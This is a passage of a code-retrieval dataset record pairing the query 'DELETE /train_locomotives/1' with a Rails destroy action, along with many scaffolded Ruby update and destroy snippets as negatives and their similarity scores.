"def update\n @predict = Predict.find(params[:id])\n\n respond_to do |format|\n if @predict.update_attributes(params[:predict])\n format.html { redirect_to @predict, notice: 'Predict was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @predict.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @lyric.update(lyric_params)\n format.html { redirect_to @lyric, notice: 'Lyric was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @lyric.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @tags_of_novel = TagsOfNovel.find(params[:id])\n\n respond_to do |format|\n if @tags_of_novel.update_attributes(params[:tags_of_novel])\n format.html { redirect_to @tags_of_novel, notice: 'Tags of novel was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @tags_of_novel.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @loa.update(loa_params)\n format.html { redirect_to @loa, notice: 'Letter of Applicaton was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @loa.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @lode.update(lode_params)\n format.html { redirect_to @lode, notice: 'Lode was successfully updated.' }\n format.json { render :show, status: :ok, location: @lode }\n else\n format.html { render :edit }\n format.json { render json: @lode.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @training.update(training_params)\n format.html { redirect_to @training, notice: 'Training was successfully updated.' }\n format.json { render :show, status: :ok, location: @training }\n else\n format.html { render :edit }\n format.json { render json: @training.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @training.update(training_params)\n format.html { redirect_to @training, notice: 'Training was successfully updated.' }\n format.json { render :show, status: :ok, location: @training }\n else\n format.html { render :edit }\n format.json { render json: @training.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @training.update(training_params)\n format.html { redirect_to @training, notice: 'Training was successfully updated.' }\n format.json { render :show, status: :ok, location: @training }\n else\n format.html { render :edit }\n format.json { render json: @training.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @training.update(training_params)\n format.html { redirect_to @training, notice: 'Training was successfully updated.' }\n format.json { render :show, status: :ok, location: @training }\n else\n format.html { render :edit }\n format.json { render json: @training.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @lector = Lector.find(params[:id])\n\n respond_to do |format|\n if @lector.update_attributes(params[:lector])\n format.html { redirect_to @lector, notice: 'Las modificaciones al Lector se han guardado correctamente.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @lector.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @lyric = Lyric.find(params[:id])\n\n respond_to do |format|\n if @lyric.update_attributes(params[:lyric])\n format.html { redirect_to @lyric, notice: 'Lyric was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @lyric.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update!(**args)\n @id = args[:id] if args.key?(:id)\n @kind = args[:kind] if args.key?(:kind)\n @model_info = args[:model_info] if args.key?(:model_info)\n @self_link = args[:self_link] if args.key?(:self_link)\n @training_status = args[:training_status] if args.key?(:training_status)\n end",
"def update!(**args)\n @feature_set_name = args[:feature_set_name] if args.key?(:feature_set_name)\n @legos_annotations = args[:legos_annotations] if args.key?(:legos_annotations)\n end",
"def update\n respond_to do |format|\n if @training_request.update(training_request_params)\n format.html {redirect_to @training_request, notice: 'Training request was successfully updated.'}\n format.json {render :show, status: :ok, location: @training_request}\n else\n format.html {render :edit}\n format.json {render json: @training_request.errors, status: :unprocessable_entity}\n end\n end\n end",
"def update\n @operation = Operation.find(params[:id])\n params[:operation][\"inputs\"] = filter_distribution_ids(params[:operation][\"inputs\"])\n @model = Model.find(params[:model_id])\n respond_to do |format|\n if @operation.update_attributes(params[:operation])\n format.html { redirect_to user_model_path(@model.user,@model), notice: 'Operation was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @operation.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update(url, data)\n RestClient.put url, data, :content_type => :json\nend",
"def update\n respond_to do |format|\n if @training.update(training_params)\n format.html { redirect_to @training, notice: \"Training was successfully updated.\" }\n format.json { render :show, status: :ok, location: @training }\n else\n format.html { render :edit, status: :unprocessable_entity }\n format.json { render json: @training.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @lift = Lift.find(params[:id])\n\n respond_to do |format|\n if @lift.update_attributes(params[:lift])\n format.html { redirect_to @lift, notice: 'Lift was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @lift.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @capitol.update(capitol_params)\n format.html { redirect_to root_path, notice: 'Capitol was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @capitol.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @barangay_training.update(barangay_training_params)\n format.html { redirect_to @barangay_training, notice: 'Barangay training was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @barangay_training.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @lore = Lore.find(params[:id])\n\n if params[:operation] == 'up'\n @lore.ranking = @lore.ranking + 1\n @lore.save\n return render :json => {ranking: @lore.ranking}\n elsif params[:operation] == 'down'\n @lore.ranking = @lore.ranking - 1 \n @lore.save\n return render :json => {ranking: @lore.ranking}\n end\n\n respond_to do |format|\n if @lore.update_attributes(params[:lore])\n format.html { redirect_to @lore, notice: 'Lore was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @lore.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @training.update(training_params)\n format.html { redirect_to '/training', notice: 'Обучение обновлено.' }\n format.json { render :show, status: :ok, location: @training }\n else\n format.html { render :edit }\n format.json { render json: @training.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @load = Load.new\n @client=Client.all\n @branch_office=BranchOffice.all\n @worker=Worker.all\n @vehicle=Vehicle.all\n respond_to do |format|\n if @load.update(load_params)\n format.html { redirect_to @load, notice: 'La carga se actualizó correctamente.' }\n format.json { render :show, status: :ok, location: @load }\n else\n format.html { render :edit }\n format.json { render json: @load.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @ontology.update(ontology_params)\n format.html { redirect_to @ontology, notice: 'Ontology was successfully updated.' }\n format.json { render :show, status: :ok, location: @ontology }\n else\n format.html { render :edit }\n format.json { render json: @ontology.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @laptop.update(laptop_params)\n format.html { redirect_to laptops_path, notice: 'Laptop was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @laptop.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @lab = Lab.find(params[:id])\n\n respond_to do |format|\n if @lab.update_attributes(params[:lab])\n format.html { redirect_to @lab, notice: 'Lab was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @lab.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update!(**args)\n @bounding_box = args[:bounding_box] if args.key?(:bounding_box)\n @entity_fields = args[:entity_fields] if args.key?(:entity_fields)\n @labels = args[:labels] if args.key?(:labels)\n @primi_apparel_features_v2 = args[:primi_apparel_features_v2] if args.key?(:primi_apparel_features_v2)\n @primi_apparel_tokens_v2 = args[:primi_apparel_tokens_v2] if args.key?(:primi_apparel_tokens_v2)\n @primi_generic_features_v25 = args[:primi_generic_features_v25] if args.key?(:primi_generic_features_v25)\n @primi_generic_tokens_v25 = args[:primi_generic_tokens_v25] if args.key?(:primi_generic_tokens_v25)\n @starburst_features_v4 = args[:starburst_features_v4] if args.key?(:starburst_features_v4)\n @starburst_features_v5 = args[:starburst_features_v5] if args.key?(:starburst_features_v5)\n @starburst_tokens_v4 = args[:starburst_tokens_v4] if args.key?(:starburst_tokens_v4)\n @starburst_tokens_v5 = args[:starburst_tokens_v5] if args.key?(:starburst_tokens_v5)\n @starburst_v4 = args[:starburst_v4] if args.key?(:starburst_v4)\n @starburst_v5 = args[:starburst_v5] if args.key?(:starburst_v5)\n end",
"def update!(**args)\n @annotations = args[:annotations] if args.key?(:annotations)\n @bare_metal_version = args[:bare_metal_version] if args.key?(:bare_metal_version)\n @binary_authorization = args[:binary_authorization] if args.key?(:binary_authorization)\n @cluster_operations = args[:cluster_operations] if args.key?(:cluster_operations)\n @control_plane = args[:control_plane] if args.key?(:control_plane)\n @create_time = args[:create_time] if args.key?(:create_time)\n @delete_time = args[:delete_time] if args.key?(:delete_time)\n @description = args[:description] if args.key?(:description)\n @endpoint = args[:endpoint] if args.key?(:endpoint)\n @etag = args[:etag] if args.key?(:etag)\n @fleet = args[:fleet] if args.key?(:fleet)\n @load_balancer = args[:load_balancer] if args.key?(:load_balancer)\n @local_name = args[:local_name] if args.key?(:local_name)\n @maintenance_config = args[:maintenance_config] if args.key?(:maintenance_config)\n @maintenance_status = args[:maintenance_status] if args.key?(:maintenance_status)\n @name = args[:name] if args.key?(:name)\n @network_config = args[:network_config] if args.key?(:network_config)\n @node_access_config = args[:node_access_config] if args.key?(:node_access_config)\n @node_config = args[:node_config] if args.key?(:node_config)\n @os_environment_config = args[:os_environment_config] if args.key?(:os_environment_config)\n @proxy = args[:proxy] if args.key?(:proxy)\n @reconciling = args[:reconciling] if args.key?(:reconciling)\n @security_config = args[:security_config] if args.key?(:security_config)\n @state = args[:state] if args.key?(:state)\n @status = args[:status] if args.key?(:status)\n @storage = args[:storage] if args.key?(:storage)\n @uid = args[:uid] if args.key?(:uid)\n @update_time = args[:update_time] if args.key?(:update_time)\n @validation_check = args[:validation_check] if args.key?(:validation_check)\n end",
"def update\n @lote = Lote.find(params[:id])\n\n respond_to do |format|\n if @lote.update_attributes(params[:lote])\n flash[:notice] = 'Lote was successfully updated.'\n format.html { redirect_to(@lote) }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @lote.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def update\r\n respond_to do |format|\r\n if @lab.update(lab_params)\r\n format.html { redirect_to @lab, notice: 'Lab was successfully updated.' }\r\n format.json { render :show, status: :ok, location: @lab }\r\n else\r\n format.html { render :edit }\r\n format.json { render json: @lab.errors, status: :unprocessable_entity }\r\n end\r\n end\r\n end",
"def update\n respond_to do |format|\n if @litigante.update(litigante_params)\n format.html { redirect_to @litigante, notice: 'Litigante was successfully updated.' }\n format.json { render :show, status: :ok, location: @litigante }\n else\n format.html { render :edit }\n format.json { render json: @litigante.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @knol.update(knol_params)\n format.html { redirect_to @knol, notice: 'Knol was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @knol.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @lab = Lab.find(params[:id])\n\n respond_to do |format|\n if @lab.update_attributes(lab_params)\n format.html { redirect_to @lab, notice: 'Lab was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @lab.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @leadership.update(leadership_params)\n format.html { redirect_to @leadership, notice: 'Leadership was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @leadership.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @lamp.update(lamp_params)\n format.html { redirect_to @lamp, notice: 'Lamp was successfully updated.' }\n format.json { render :show, status: :ok, location: @lamp }\n else\n format.html { render :edit }\n format.json { render json: @lamp.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @feat = @person.feats.find(params[:id])\n level_old = @person.level\n\n if params[:feat][:completed] == '1'\n @feat.complete\n else\n @feat.uncomplete\n end\n sign = params[:feat][:completed] == '1' ? '+': '-'\n \n has_leveled = @person.level > level_old\n\n respond_to do |format|\n format.json { render :json => {\n :xpGained => \"#{sign}#{@feat.xp}\",\n :xpTotal => @person.xp,\n :next_level_ratio => @person.next_level_ratio,\n :extra_life => @person.level_to_string,\n :has_leveled => has_leveled,\n :completed => @feat.completed,\n :streak => @feat.calculate_streak}}\n \n end\n\n end",
"def update\n respond_to do |format|\n if @lake_view.update(lake_view_params)\n format.html { redirect_to @lake_view, notice: 'Lake view was successfully updated.' }\n format.json { render :show, status: :ok, location: @lake_view }\n else\n format.html { render :edit }\n format.json { render json: @lake_view.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @core_termo_lacre = Core::TermoLacre.find(params[:id])\n\n respond_to do |format|\n if @core_termo_lacre.update_attributes(params[:core_termo_lacre])\n format.html { redirect_to @core_termo_lacre, notice: 'Termo lacre was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @core_termo_lacre.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @weight_trainning.update(weight_trainning_params)\n format.html { redirect_to @weight_trainning, notice: 'Weight trainning was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @weight_trainning.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @lsa_test_word = LsaTestWord.find(params[:id])\n\n respond_to do |format|\n if @lsa_test_word.update_attributes(params[:lsa_test_word])\n format.html { redirect_to @lsa_test_word, notice: 'Lsa test word was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @lsa_test_word.errors, status: :unprocessable_entity }\n end\n end\n end",
"def put!\n request! :put\n end",
"def update\n respond_to do |format|\n if @loveyotube.update(loveyotube_params)\n format.html { redirect_to @loveyotube, notice: 'Loveyotube was successfully updated.' }\n format.json { render :show, status: :ok, location: @loveyotube }\n else\n format.html { render :edit }\n format.json { render json: @loveyotube.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @terra_nova_test_benchmark.update(terra_nova_test_benchmark_params)\n format.html { redirect_to @terra_nova_test_benchmark, notice: 'Terra nova test benchmark was successfully updated.' }\n format.json { render :show, status: :ok, location: @terra_nova_test_benchmark }\n else\n format.html { render :edit }\n format.json { render json: @terra_nova_test_benchmark.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @illust.update(illust_params)\n format.html { redirect_to @illust, notice: 'Illust was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @illust.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update_suggested_course_pathway\n suggested_pathway = SuggestedPathway.find_by(id: params[:id])\n suggested_pathway.name = params[:name]\n suggested_pathway.year = params[:year]\n suggested_pathway.course_id = params[:course_id]\n suggested_pathway.data = params[:data]\n suggested_pathway.save\n render json: suggested_pathway\n end",
"def update\n respond_to do |format|\n if @lensa.update(lensa_params)\n format.html { redirect_to @lensa, notice: 'Lensa was successfully updated.' }\n format.json { render :show, status: :ok, location: @lensa }\n else\n format.html { render :edit }\n format.json { render json: @lensa.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @load.update_attributes(params[:load])\n format.html { redirect_to @load, notice: 'Load was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @load.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @notebook = Notebook.find(params[:id])\n\n respond_to do |format|\n if @notebook.update_attributes(:annotation=>params[:text])\n format.html { redirect_to @notebook, notice: 'Notebook was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @notebook.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @training_content = TrainingContent.find(params[:id])\n\n respond_to do |format|\n if @training_content.update_attributes(params[:training_content])\n format.html { redirect_to @training_content, notice: 'TrainingContent was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @training_content.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update_features(client_id)\n response = self.class.put(\"https://app.klipfolio.com/api/1.0/clients/#{client_id}/features\", basic_auth: @auth, headers: { \"Content-Type\" => \"application/json\" },\n body: {\n features:[{\"name\":\"public_dashboards\",\"enabled\":true},\n {\"name\":\"published_dashboards\",\"enabled\":true},\n {\"name\":\"downloadable_reports\",\"enabled\":true},\n {\"name\":\"scheduled_emails\",\"enabled\":true}]\n }.to_json)\n puts response.body\n puts \"Client's features were updated.\" if response.success?\n end",
"def update\n @lab_method = LabMethod.find(params[:id])\n\n respond_to do |format|\n if @lab_method.update_attributes(params[:lab_method])\n format.html { redirect_to @lab_method, notice: 'Lab method was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @lab_method.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @personal_training.update(personal_training_params)\n format.html { redirect_to @personal_training, notice: 'Personal training was successfully updated.' }\n format.json { render :show, status: :ok, location: @personal_training }\n else\n format.html { render :edit }\n format.json { render json: @personal_training.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @trainer = Trainer.find(params[:id])\n\n if @trainer.update(trainer_params)\n head :no_content\n else\n render json: @trainer.errors, status: :unprocessable_entity\n end\n end",
"def update\n respond_to do |format|\n if @liftset.update(liftset_params)\n format.html { redirect_to @liftset, notice: 'Liftset was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @liftset.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @company = Company.find( params[:company_id])\n @training = @company.trainings.find( params[:training_id])\n @course = Course.find( params[:id])\n if @course.update_attributes(params[:course])\n flash[:success] = t(:successful_update)\n redirect_to training_courses_manage_path @company, @training\n else\n puts @course.errors.full_messages\n render 'edit'\n end\n end",
"def update\n respond_to do |format|\n if @lui.update(lui_params)\n format.html { redirect_to @lui, notice: \"Lui was successfully updated.\" }\n format.json { render :show, status: :ok, location: @lui }\n else\n format.html { render :edit, status: :unprocessable_entity }\n format.json { render json: @lui.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @lomein.update(lomein_params)\n format.html { redirect_to @lomein, notice: 'Lomein was successfully updated.' }\n format.json { render :show, status: :ok, location: @lomein }\n else\n format.html { render :edit }\n format.json { render json: @lomein.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @extrainfo.update(extrainfo_params)\n format.html { redirect_to @extrainfo, notice: 'Extrainfo was successfully updated.' }\n format.json { render :show, status: :ok, location: @extrainfo }\n else\n format.html { render :edit }\n format.json { render json: @extrainfo.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @dataset.update_attributes(params[:dataset])\n format.html { redirect_to @dataset, notice: 'Dataset was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @dataset.errors, status: :unprocessable_entity }\n end\n end\n end"
] |
[
"0.6536184",
"0.6357123",
"0.618267",
"0.60848886",
"0.59190786",
"0.58316636",
"0.578761",
"0.5693497",
"0.56687945",
"0.564483",
"0.5623751",
"0.5618357",
"0.5604889",
"0.55923617",
"0.55620104",
"0.5559002",
"0.5546083",
"0.55364674",
"0.5530723",
"0.5515432",
"0.54840666",
"0.54761416",
"0.5470681",
"0.5469964",
"0.5467974",
"0.54678863",
"0.5452498",
"0.54517496",
"0.543453",
"0.54256517",
"0.5417446",
"0.5408043",
"0.5394902",
"0.5394747",
"0.5393017",
"0.5384771",
"0.5383307",
"0.53804404",
"0.5368579",
"0.5365543",
"0.5360454",
"0.5344861",
"0.5341286",
"0.5337548",
"0.5331587",
"0.53311163",
"0.53281355",
"0.53281355",
"0.53281355",
"0.53281355",
"0.5324512",
"0.5322444",
"0.53187543",
"0.5316817",
"0.5316646",
"0.5312034",
"0.5309172",
"0.5297495",
"0.52957183",
"0.5291163",
"0.52899474",
"0.52739304",
"0.52693546",
"0.526901",
"0.5265589",
"0.5260764",
"0.5253419",
"0.52502203",
"0.52501965",
"0.52462953",
"0.52368623",
"0.5235562",
"0.52299875",
"0.52182513",
"0.5218068",
"0.5215336",
"0.5213927",
"0.5213214",
"0.52128094",
"0.5206804",
"0.52059615",
"0.52049774",
"0.52020323",
"0.5201086",
"0.5198243",
"0.51895916",
"0.5189022",
"0.5188576",
"0.5185968",
"0.51835173",
"0.5178748",
"0.51709175",
"0.51695865",
"0.5168976",
"0.5168422",
"0.51654124",
"0.5165063",
"0.5161479",
"0.51614404",
"0.51602674"
] |
0.7199848
|
0
|
DELETE /train_locomotives/1 DELETE /train_locomotives/1.json
|
def destroy
@train_locomotive.destroy
respond_to do |format|
format.html { redirect_to train_locomotives_url }
format.json { head :no_content }
end
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def destroy\n @train.destroy\n respond_to do |format|\n format.html { redirect_to trains_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @trainmodel.destroy\n respond_to do |format|\n format.html { redirect_to trainmodels_url, notice: 'Trainmodel was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @train_datum.destroy\n respond_to do |format|\n format.html { redirect_to train_data_url, notice: 'Train datum was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @lsa_training_unique_word = LsaTrainingUniqueWord.find(params[:id])\n @lsa_training_unique_word.destroy\n\n respond_to do |format|\n format.html { redirect_to lsa_training_unique_words_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @trainrun.destroy\n respond_to do |format|\n format.html { redirect_to trainruns_url, notice: 'Trainrun was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @test = LoadTest.find(params[:id])\n @test.destroy\n\n respond_to do |format|\n format.html { redirect_to load_tests_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @lore = Lore.find(params[:id])\n @lore.destroy\n\n respond_to do |format|\n format.html { redirect_to lores_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @training_level = TrainingLevel.find(params[:id])\n @training_level.destroy\n\n respond_to do |format|\n format.html { redirect_to training_levels_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @trainbot.destroy\n respond_to do |format|\n format.html { redirect_to trainbots_url, notice: 'Trainbot was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @spltrain.destroy\n respond_to do |format|\n format.html { redirect_to spltrains_url, notice: 'Spltrain was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @massive_load = MassiveLoad.find(params[:id])\n @massive_load.destroy\n\n respond_to do |format|\n format.html { redirect_to massive_loads_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @trainclass.destroy\n respond_to do |format|\n format.html { redirect_to trainclasses_url, notice: 'Trainclass was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @prediction.destroy\n respond_to do |format|\n format.html { redirect_to predictions_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @experiment_raw_dataset.destroy\n respond_to do |format|\n format.html { redirect_to experiment_raw_datasets_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @realised_training.destroy\n respond_to do |format|\n format.html { redirect_to realised_trainings_path }\n format.json { head :no_content }\n end #do\n end",
"def delete_tenant_circle(args = {}) \n delete(\"/tenantcircles.json/#{args[:circleId]}\", args)\nend",
"def destroy\n @predict = Predict.find(params[:id])\n @predict.destroy\n\n respond_to do |format|\n format.html { redirect_to predicts_url }\n format.json { head :no_content }\n end\n end",
"def delete_json(path)\n url = [base_url, path].join\n resp = HTTParty.delete(url, headers: standard_headers)\n parse_json(url, resp)\n end",
"def destroy\n @clonet = Clonet.find(params[:id])\n @clonet.destroy\n\n respond_to do |format|\n format.html { redirect_to clonets_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @prediction = Prediction.find(params[:id])\n @prediction.destroy\n\n respond_to do |format|\n format.html { redirect_to predictions_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @training = Training.find(params[:id])\n @training.destroy\n\n respond_to do |format|\n format.html { redirect_to trainings_path }\n format.json { head :no_content }\n end\n end",
"def destroy\n @lifeline.destroy\n respond_to do |format|\n format.html { redirect_to lifelines_url, notice: 'Lifeline was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n \n @ontology = SYMPH::Ontology.find(params[:id])\n @ontology.disable\n @ontology.destroy\n \n respond_to do |format|\n format.html { redirect_to :action => :index }\n format.xml { head :ok }\n end\n end",
"def destroy\n @accuracy = Accuracy.find(params[:id])\n @accuracy.destroy\n\n respond_to do |format|\n format.html { redirect_to accuracies_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @weight_trainning.destroy\n respond_to do |format|\n format.html { redirect_to weight_trainnings_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @part_three_predict = PartThreePredict.find(params[:id])\n @part_three_predict.destroy\n\n respond_to do |format|\n format.html { redirect_to part_three_predicts_url }\n format.json { head :no_content }\n end\n end",
"def delete\n client.delete(url)\n @deleted = true\nend",
"def destroy\n @ontology.destroy\n respond_to do |format|\n format.html { redirect_to ontologies_url, notice: 'Ontology was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @knol.destroy\n respond_to do |format|\n format.html { redirect_to knols_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @dataset_datum.destroy\n respond_to do |format|\n format.html { redirect_to dataset_data_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @weight_training.destroy\n respond_to do |format|\n format.html { redirect_to weight_trainings_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @lov.destroy\n respond_to do |format|\n format.html { redirect_to lovs_url, notice: 'Lov was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def delete(path)\n path = relativize_path path\n\n Precog.connect self do |http|\n uri = Addressable::URI.new\n uri.query_values = { :apiKey => api_key }\n\n http.delete \"/ingest/v#{VERSION}/fs/#{path}?#{uri.query}\"\n end\n end",
"def delete\n client.delete(\"/#{id}\")\n end",
"def destroy\n @tune = Tune.find(params[:id])\n @tune.destroy\n\n respond_to do |format|\n format.html { redirect_to tunes_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @lsa_test_word = LsaTestWord.find(params[:id])\n @lsa_test_word.destroy\n\n respond_to do |format|\n format.html { redirect_to lsa_test_words_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @barangay_training.destroy\n respond_to do |format|\n format.html { redirect_to barangay_trainings_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @nudge.destroy\n respond_to do |format|\n format.json { head :no_content }\n end\n end",
"def destroy\n @training_content = TrainingContent.find(params[:id])\n @training_content.destroy\n\n respond_to do |format|\n format.html { redirect_to training_contents_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n\t\tFile.delete(@ontology.url)\n\t\t@ontology.destroy\n\t\trespond_to do |format|\n\t\t\tformat.html { redirect_to ontologies_url }\n\t\t\tformat.json { head :no_content }\n\t\tend\n\tend",
"def destroy\n @laynet_ele = LaynetEle.find(params[:id])\n @laynet_ele.destroy\n\n respond_to do |format|\n format.html { redirect_to laynet_eles_url, notice: t('laynet_eles.delete.notice') }\n format.json { head :no_content }\n end\n end",
"def destroy\n @ukol.destroy\n respond_to do |format|\n format.html { redirect_to ukols_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @lector = Lector.find(params[:id])\n @lector.destroy\n\n respond_to do |format|\n format.html { redirect_to lectores_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @labelling = Labelling.find(params[:id])\n @labelling.destroy\n\n respond_to do |format|\n format.html { redirect_to labellings_url }\n format.json { head :no_content }\n end\n end",
"def test_del\n header 'Content-Type', 'application/json'\n\n data = File.read 'sample-traces/0.json'\n post('/traces', data, 'CONTENT_TYPE': 'application/json')\n\n id = last_response.body\n\n delete \"/traces/#{id}\"\n assert last_response.ok?\n\n get \"/traces/#{id}\"\n\n contents = JSON.parse last_response.body\n assert_kind_of(Hash, contents, 'Response contents is not a hash')\n assert contents.key? 'description'\n assert(!last_response.ok?)\n end",
"def destroy\n @hdfs_path = HdfsPath.find(params[:id])\n @hdfs_path.destroy\n\n respond_to do |format|\n format.html { redirect_to hdfs_paths_url }\n format.json { head :ok }\n end\n end",
"def destroy\n @train_route.destroy\n respond_to do |format|\n format.html { redirect_to train_routes_url, notice: 'TrainRoute was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @tune.destroy\n respond_to do |format|\n format.html { redirect_to tunes_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @lob.destroy\n respond_to do |format|\n format.html { redirect_to root_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @lode.destroy\n respond_to do |format|\n format.html { redirect_to lodes_url, notice: 'Lode was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @linear_model.destroy\n respond_to do |format|\n format.html { redirect_to linear_models_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @process_training.destroy\n respond_to do |format|\n format.html { redirect_to process_trainings_url, notice: 'Process training was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
